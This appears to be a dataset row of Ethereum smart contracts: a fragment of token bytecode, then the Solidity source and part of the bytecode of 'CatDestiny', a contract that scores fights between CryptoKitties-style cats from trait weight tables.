fffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220eb6e7ce33e33ec94cbd8dc7159c6cf3d7e75f5f81c30a63447745170e9ce94c964736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 692 |
0xb90b203a64e219dabb4e7bc152d16b04419cff43 | pragma solidity ^0.4.22;
contract Destiny {
function fight(bytes32 cat1, bytes32 cat2, bytes32 entropy) public returns (bytes32 winner);
}
contract CatDestiny is Destiny {
uint8 private constant type_life = 0;
uint8 private constant type_attack = 1;
uint8 private constant type_defense = 2;
uint8 private constant gen_body = 0;
uint8 private constant gen_pattern = 4;
uint8 private constant gen_eye_color = 8;
uint8 private constant gen_body_color = 16;
uint8 private constant gen_color = 24;
uint8 private constant gen_wild = 28;
uint8 private constant gen_mouth = 32;
struct Weight {
uint8 attack;
uint8 defense;
uint8 life;
}
mapping (uint8 => Weight[32]) private matrix;
function fight(bytes32 cat1, bytes32 cat2, bytes32 seed) public returns (bytes32 winner) {
int256 life1 = getLife(cat1);
int256 life2 = getLife(cat2);
int256 attack1 = getAttack(cat1, seed, 1) * getMult(cat1, seed, 2);
int256 attack2 = getAttack(cat2, seed, 3) * getMult(cat2, seed, 4);
int256 defense1 = getDefense(cat1, seed, 5);
int256 defense2 = getDefense(cat2, seed, 6);
life1 -= (attack2 - (defense1 * 3) / 2);
life2 -= (attack1 - (defense2 * 3) / 2);
if (life1 < life2) {
winner = cat2;
} else if (life2 < life1) {
winner = cat1;
} else {
winner = bytes32(0);
}
}
function readValue(bytes32 dna, uint8 att) internal view returns (Weight w) {
uint8 k = gen(dna, att);
w = matrix[att][k];
if (w.attack == 0 && w.defense == 0 && w.life == 0) {
w = Weight({
attack: uint8(keccak256(k, att)),
defense: uint8(keccak256(k, att)),
life: uint8(keccak256(k, att))
});
}
}
function gen(bytes32 dna, uint256 p) private pure returns (uint8) {
return uint8(bytes1((dna << (248 - (p * 5)))) & 0x1f);
}
function CatDestinity() public {
// Load body data
matrix[0][18] = Weight({attack:233,defense:0,life:240}); //highlander 247
matrix[0][4] = Weight({attack:211,defense:0,life:205}); //koladiviya 1109
matrix[0][21] = Weight({attack:188,defense:0,life:190}); //mainecoon 4829
matrix[0][16] = Weight({attack:170,defense:0,life:206}); //norwegianforest 4990
matrix[0][27] = Weight({attack:220,defense:0,life:170}); //manx 5991
matrix[0][23] = Weight({attack:245,defense:0,life:150}); //persian 10662
matrix[0][7] = Weight({attack:135,defense:0,life:210}); //pixiebob 11551
matrix[0][0] = Weight({attack:130,defense:0,life:200}); //savannah 12849
matrix[0][10] = Weight({attack:150,defense:0,life:180}); //chartreux 16624
matrix[0][5] = Weight({attack:145,defense:0,life:180}); //bobtail 33518
matrix[0][3] = Weight({attack:145,defense:0,life:180}); //birman 34603
matrix[0][1] = Weight({attack:130,defense:0,life:150}); //selkirk 39693
matrix[0][22] = Weight({attack:128,defense:0,life:149}); //laperm 40633
matrix[0][15] = Weight({attack:135,defense:0,life:110}); //ragdoll 74468
matrix[0][9] = Weight({attack:130,defense:0,life:110}); //cymric 76012
matrix[0][14] = Weight({attack:100,defense:0,life:100}); //ragamuffin 85938
matrix[0][11] = Weight({attack:190,defense:0,life:30}); //himalayan 91315
matrix[0][13] = Weight({attack:180,defense:0,life:50}); //sphynx 97994
matrix[0][12] = Weight({attack:90,defense:0,life:120}); //munchkin 98141
// Load pattern data
matrix[4][25] = Weight({attack:250,defense:200,life:0}); // razzledazzle 25
matrix[4][19] = Weight({attack:2,defense:255,life:0}); // highsociety 71
matrix[4][6] = Weight({attack:200,defense:201,life:0}); // rorschach 78
matrix[4][18] = Weight({attack:180,defense:190,life:0}); // dippedcone 2414
matrix[4][17] = Weight({attack:240,defense:100,life:0}); // thunderstruck 2538
matrix[4][26] = Weight({attack:190,defense:180,life:0}); // hotrod 5061
matrix[4][5] = Weight({attack:90,defense:255,life:0}); // camo 5417
matrix[4][2] = Weight({attack:140,defense:141,life:0}); // rascal 9834
matrix[4][21] = Weight({attack:200,defense:40,life:0}); // henna 12322
matrix[4][3] = Weight({attack:150,defense:150,life:0}); // ganado 12625
matrix[4][4] = Weight({attack:230,defense:20,life:0}); // leopard 17016
matrix[4][11] = Weight({attack:128,defense:150,life:0}); // jaguar 23457
matrix[4][20] = Weight({attack:120,defense:120,life:0}); // tigerpunk 24011
matrix[4][1] = Weight({attack:200,defense:23,life:0}); // tiger 30727
matrix[4][7] = Weight({attack:140,defense:170,life:0}); // spangled 31850
matrix[4][8] = Weight({attack:150,defense:160,life:0}); // calicool 42080
matrix[4][10] = Weight({attack:130,defense:140,life:0}); // amur 67930
matrix[4][12] = Weight({attack:5,defense:100,life:0}); // spock 74454
matrix[4][9] = Weight({attack:90,defense:99,life:0}); // luckystripe 139732
// Load eye color data
matrix[8][7] = Weight({attack:1,defense:0,life:0}); // strawberry 122951
matrix[8][5] = Weight({attack:20,defense:0,life:0}); // sizzurp 107360
matrix[8][3] = Weight({attack:24,defense:0,life:0}); // mintgreen 106378
matrix[8][2] = Weight({attack:40,defense:0,life:0}); // topaz 91993
matrix[8][1] = Weight({attack:44,defense:0,life:0}); // gold 76929
matrix[8][6] = Weight({attack:54,defense:0,life:0}); // chestnut 55495
matrix[8][8] = Weight({attack:60,defense:0,life:0}); // sapphire 34341
matrix[8][17] = Weight({attack:77,defense:0,life:0}); // limegreen 31774
matrix[8][0] = Weight({attack:40,defense:0,life:0}); // thundergrey 31120
matrix[8][11] = Weight({attack:80,defense:0,life:0}); // coralsunrise 29528
matrix[8][19] = Weight({attack:40,defense:0,life:0}); // bubblegum 17656
matrix[8][15] = Weight({attack:90,defense:0,life:0}); // cyan 17560
matrix[8][9] = Weight({attack:100,defense:0,life:0}); // forgetmenot 5796
matrix[8][14] = Weight({attack:120,defense:0,life:0}); // parakeet 3423
matrix[8][16] = Weight({attack:80,defense:0,life:0}); // pumpkin 3357
matrix[8][13] = Weight({attack:231,defense:0,life:0}); // doridnudibranch 2381
matrix[8][20] = Weight({attack:233,defense:0,life:0}); // twilightsparkle 1554
matrix[8][24] = Weight({attack:240,defense:0,life:0}); // babypuke 730
matrix[8][23] = Weight({attack:240,defense:0,life:0}); // eclipse 725
// Load body color data
matrix[16][20] = Weight({attack:0,defense:170,life:0}); // lavender 201
matrix[16][23] = Weight({attack:0,defense:150,life:0}); // verdigris 1832
matrix[16][19] = Weight({attack:0,defense:122,life:0}); // koala 2247
matrix[16][13] = Weight({attack:0,defense:150,life:0}); // dragonfruit 2363
matrix[16][9] = Weight({attack:0,defense:122,life:0}); // cinderella 3186
matrix[16][8] = Weight({attack:0,defense:99,life:0}); // harbourfog 5688
matrix[16][14] = Weight({attack:0,defense:12,life:0}); // hintomint 6400
matrix[16][7] = Weight({attack:0,defense:2,life:0}); // nachocheez 6551
matrix[16][25] = Weight({attack:0,defense:200,life:0}); // onyx 8225
matrix[16][18] = Weight({attack:0,defense:55,life:0}); // oldlace 22288
matrix[16][15] = Weight({attack:0,defense:8,life:0}); // bananacream 36400
matrix[16][16] = Weight({attack:0,defense:36,life:0}); // cloudwhite 43802
matrix[16][1] = Weight({attack:0,defense:20,life:0}); // salmon 75223
matrix[16][4] = Weight({attack:0,defense:20,life:0}); // cottoncandy 78501
matrix[16][3] = Weight({attack:0,defense:90,life:0}); // orangesoda 79759
matrix[16][6] = Weight({attack:0,defense:24,life:0}); // aquamarine 82860
matrix[16][5] = Weight({attack:0,defense:33,life:0}); // mauveover 90339
matrix[16][0] = Weight({attack:0,defense:20,life:0}); // shadowgrey 91623
matrix[16][10] = Weight({attack:0,defense:10,life:0}); // greymatter 103658
// Load color data
matrix[24][27] = Weight({attack:0,defense:230,life:0}); // mintmacaron 396
matrix[24][9] = Weight({attack:0,defense:200,life:0}); // shale 787
matrix[24][17] = Weight({attack:0,defense:190,life:0}); // flamingo 1375
matrix[24][23] = Weight({attack:0,defense:220,life:0}); // patrickstarfish 1504
matrix[24][24] = Weight({attack:0,defense:140,life:0}); // seafoam 1927
matrix[24][13] = Weight({attack:0,defense:160,life:0}); // missmuffett 2647
matrix[24][22] = Weight({attack:0,defense:177,life:0}); // periwinkle 2896
matrix[24][15] = Weight({attack:0,defense:201,life:0}); // frosting 7060
matrix[24][16] = Weight({attack:0,defense:90,life:0}); // daffodil 7438
matrix[24][14] = Weight({attack:0,defense:122,life:0}); // morningglory 26296
matrix[24][2] = Weight({attack:0,defense:66,life:0}); // peach 27774
matrix[24][10] = Weight({attack:0,defense:23,life:0}); // purplehaze 29443
matrix[24][0] = Weight({attack:0,defense:99,life:0}); // belleblue 30752
matrix[24][3] = Weight({attack:0,defense:190,life:0}); // icy 34298
matrix[24][12] = Weight({attack:0,defense:9,life:0}); // azaleablush 34622
matrix[24][19] = Weight({attack:0,defense:60,life:0}); // bloodred 36960
matrix[24][1] = Weight({attack:0,defense:30,life:0}); // sandalwood 49768
matrix[24][7] = Weight({attack:0,defense:10,life:0}); // emeraldgreen 61141
matrix[24][6] = Weight({attack:0,defense:50,life:0}); // kittencream 186366
matrix[24][4] = Weight({attack:0,defense:44,life:0}); // granitegrey 197635
// Load wild data
matrix[28][17] = Weight({attack:250,defense:200,life:0}); // elk 7036
matrix[28][19] = Weight({attack:200,defense:250,life:0}); // trioculus 1566
matrix[28][20] = Weight({attack:240,defense:255,life:0}); // daemonwings 1286
matrix[28][23] = Weight({attack:245,defense:255,life:0}); // daemonhorns 711
// Load mouth data
matrix[32][9] = Weight({attack:10,defense:0,life:0}); // pouty 137345
matrix[32][14] = Weight({attack:40,defense:0,life:0}); // happygokitty 123608
matrix[32][15] = Weight({attack:150,defense:0,life:0}); // soserious 105209
matrix[32][10] = Weight({attack:40,defense:0,life:0}); // saycheese 97689
matrix[32][8] = Weight({attack:20,defense:0,life:0}); // beard 43754
matrix[32][3] = Weight({attack:90,defense:0,life:0}); // gerbil 42150
matrix[32][23] = Weight({attack:110,defense:0,life:0}); // tongue 41916
matrix[32][0] = Weight({attack:122,defense:0,life:0}); // whixtensions 40268
matrix[32][11] = Weight({attack:155,defense:0,life:0}); // grim 37027
matrix[32][2] = Weight({attack:150,defense:0,life:0}); // wuvme 33604
matrix[32][20] = Weight({attack:194,defense:0,life:0}); // dali 18700
matrix[32][17] = Weight({attack:209,defense:0,life:0}); // starstruck 4636
matrix[32][21] = Weight({attack:210,defense:0,life:0}); // grimace 3183
matrix[32][1] = Weight({attack:99,defense:0,life:0}); // wasntme 3006
matrix[32][16] = Weight({attack:150,defense:0,life:0}); // cheeky 2688
matrix[32][24] = Weight({attack:225,defense:0,life:0}); // yokel 2069
matrix[32][6] = Weight({attack:230,defense:0,life:0}); // belch 1993
matrix[32][26] = Weight({attack:250,defense:0,life:0}); // neckbeard 1905
matrix[32][7] = Weight({attack:240,defense:0,life:0}); // rollercoaster 201
matrix[32][19] = Weight({attack:255,defense:0,life:0}); // ruhroh 62
}
function urandom(bytes32 seed, uint256 nonce) private returns (bytes32) {
return keccak256(uint256(seed) + nonce);
}
function getLife(bytes32 cat) private returns (int256 life) {
life = readValue(cat, gen_body).life * 4;
}
function getDefense(bytes32 cat, bytes32 seed, uint256 nonce) private returns (int256 defense) {
defense += readValue(cat, gen_pattern).defense;
defense += readValue(cat, gen_body_color).defense;
defense += readValue(cat, gen_color).defense;
defense += readValue(cat, gen_wild).defense;
defense += uint8(urandom(seed, nonce)) / 2;
}
function getAttack(bytes32 cat, bytes32 seed, uint256 nonce) private returns (int256 attack) {
attack += readValue(cat, gen_body).attack;
attack += readValue(cat, gen_eye_color).attack;
attack += readValue(cat, gen_pattern).attack;
attack += readValue(cat, gen_wild).attack;
attack += readValue(cat, gen_mouth).attack;
attack += uint8(urandom(seed, nonce)) / 2;
}
function getMult(bytes32 cat, bytes32 seed, uint256 nonce) internal view returns (int256) {
return (uint8(urandom(seed, nonce)) == uint8(keccak256(cat))) ? 2 : 1;
}
} | 0x60806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631e2fee9414610051578063e89f767214610068575b600080fd5b34801561005d57600080fd5b506100666100d1565b005b34801561007457600080fd5b506100b36004803603810190808035600019169060200190929190803560001916906020019092919080356000191690602001909291905050506154a3565b60405180826000191660001916815260200191505060405180910390f35b60606040519081016040528060e960ff168152602001600060ff16815260200160f060ff168152506000808060ff168152602001908152602001600020601260208110151561011c57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060d360ff168152602001600060ff16815260200160cd60ff168152506000808060ff16815260200190815260200160002060046020811015156101ce57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060bc60ff168152602001600060ff16815260200160be60ff168152506000808060ff168152602001908152602001600020601560208110151561028057fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060aa60ff168152602001600060ff16815260200160ce60ff168152506000808060ff168152602001908152602001600020601060208110151561033257fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060dc60ff168152602001600060ff16815260200160aa60ff168152506000808060ff168152602001908152602001600020601b6020811015156103e457fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060f560ff168152602001600060ff168152602001609660ff168152506000808060ff168152602001908152602001600020601760208110151561049657fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280608760ff168152602001600060ff16815260200160d260ff168152506000808060ff168152602001908152602001600020600760208110151561054857fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280608260ff168152602001600060ff16815260200160c860ff168152506000808060ff16815260200190815260200160002060006020811015156105fa57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280609660ff168152602001600060ff16815260200160b460ff168152506000808060ff168152602001908152602001600020600a6020811015156106ac57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280609160ff168152602001600060ff16815260200160b460ff168152506000808060ff168152602001908152602001600020600560208110151561075e57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280609160ff168152602001600060ff16815260200160b460ff168152506000808060ff168152602001908152602001600020600360208110151561081057fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280608260ff168152602001600060ff168152602001609660ff168152506000808060ff16815260200190815260200160002060016020811015156108c257fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280608060ff168152602001600060ff168152602001609560ff168152506000808060ff168152602001908152602001600020601660208110151561097457fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280608760ff168152602001600060ff168152602001606e60ff168152506000808060ff168152602001908152602001600020600f602081101515610a2657fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280608260ff168152602001600060ff168152602001606e60ff168152506000808060ff1681526020019081526020016000206009602081101515610ad857fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280606460ff168152602001600060ff168152602001606460ff168152506000808060ff168152602001908152602001600020600e602081101515610b8a57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060be60ff168152602001600060ff168152602001601e60ff168152506000808060ff168152602001908152602001600020600b602081101515610c3c57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060b460ff168152602001600060ff168152602001603260ff168152506000808060ff168152602001908152602001600020600d602081101515610cee57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280605a60ff168152602001600060ff168152602001607860ff168152506000808060ff168152602001908152602001600020600c602081101515610da057fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060fa60ff16815260200160c860ff168152602001600060ff16815250600080600460ff1681526020019081526020016000206019602081101515610e5357fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600260ff16815260200160ff80168152602001600060ff16815250600080600460ff1681526020019081526020016000206013602081101515610f0557fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060c860ff16815260200160c960ff168152602001600060ff16815250600080600460ff1681526020019081526020016000206006602081101515610fb857fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060b460ff16815260200160be60ff168152602001600060ff16815250600080600460ff168152602001908152602001600020601260208110151561106b57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060f060ff168152602001606460ff168152602001600060ff16815250600080600460ff168152602001908152602001600020601160208110151561111e57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060be60ff16815260200160b460ff168152602001600060ff16815250600080600460ff168152602001908152602001600020601a6020811015156111d157fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280605a60ff16815260200160ff80168152602001600060ff16815250600080600460ff168152602001908152602001600020600560208110151561128357fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280608c60ff168152602001608d60ff168152602001600060ff16815250600080600460ff168152602001908152602001600020600260208110151561133657fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060c860ff168152602001602860ff168152602001600060ff16815250600080600460ff16815260200190815260200160002060156020811015156113e957fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280609660ff168152602001609660ff168152602001600060ff16815250600080600460ff168152602001908152602001600020600360208110151561149c57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060e660ff168152602001601460ff168152602001600060ff16815250600080600460ff168152602001908152602001600020600460208110151561154f57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280608060ff168152602001609660ff168152602001600060ff16815250600080600460ff168152602001908152602001600020600b60208110151561160257fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280607860ff168152602001607860ff168152602001600060ff16815250600080600460ff16815260200190815260200160002060146020811015156116b557fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060c860ff168152602001601760ff168152602001600060ff16815250600080600460ff168152602001908152602001600020600160208110151561176857fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280608c60ff16815260200160aa60ff168152602001600060ff16815250600080600460ff168152602001908152602001600020600760208110151561181b57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280609660ff16815260200160a060ff168152602001600060ff16815250600080600460ff16815260200190815260200160002060086020811015156118ce57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280608260ff168152602001608c60ff168152602001600060ff16815250600080600460ff168152602001908152602001600020600a60208110151561198157fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600560ff168152602001606460ff168152602001600060ff16815250600080600460ff168152602001908152602001600020600c602081101515611a3457fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280605a60ff168152602001606360ff168152602001600060ff16815250600080600460ff1681526020019081526020016000206009602081101515611ae757fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600160ff168152602001600060ff168152602001600060ff16815250600080600860ff1681526020019081526020016000206007602081101515611b9a57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280601460ff168152602001600060ff168152602001600060ff16815250600080600860ff1681526020019081526020016000206005602081101515611c4d57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280601860ff168152602001600060ff168152602001600060ff16815250600080600860ff1681526020019081526020016000206003602081101515611d0057fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280602860ff168152602001600060ff168152602001600060ff16815250600080600860ff1681526020019081526020016000206002602081101515611db357fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280602c60ff168152602001600060ff168152602001600060ff16815250600080600860ff1681526020019081526020016000206001602081101515611e6657fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280603660ff168152602001600060ff168152602001600060ff16815250600080600860ff1681526020019081526020016000206006602081101515611f1957fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280603c60ff168152602001600060ff168152602001600060ff16815250600080600860ff1681526020019081526020016000206008602081101515611fcc57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280604d60ff168152602001600060ff168152602001600060ff16815250600080600860ff168152602001908152602001600020601160208110151561207f57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280602860ff168152602001600060ff168152602001600060ff16815250600080600860ff168152602001908152602001600020600060208110151561213257fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280605060ff168152602001600060ff168152602001600060ff16815250600080600860ff168152602001908152602001600020600b6020811015156121e557fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280602860ff168152602001600060ff168152602001600060ff16815250600080600860ff168152602001908152602001600020601360208110151561229857fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280605a60ff168152602001600060ff168152602001600060ff16815250600080600860ff168152602001908152602001600020600f60208110151561234b57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280606460ff168152602001600060ff168152602001600060ff16815250600080600860ff16815260200190815260200160002060096020811015156123fe57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280607860ff168152602001600060ff168152602001600060ff16815250600080600860ff168152602001908152602001600020600e6020811015156124b157fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280605060ff168152602001600060ff168152602001600060ff16815250600080600860ff168152602001908152602001600020601060208110151561256457fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060e760ff168152602001600060ff168152602001600060ff16815250600080600860ff168152602001908152602001600020600d60208110151561261757fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360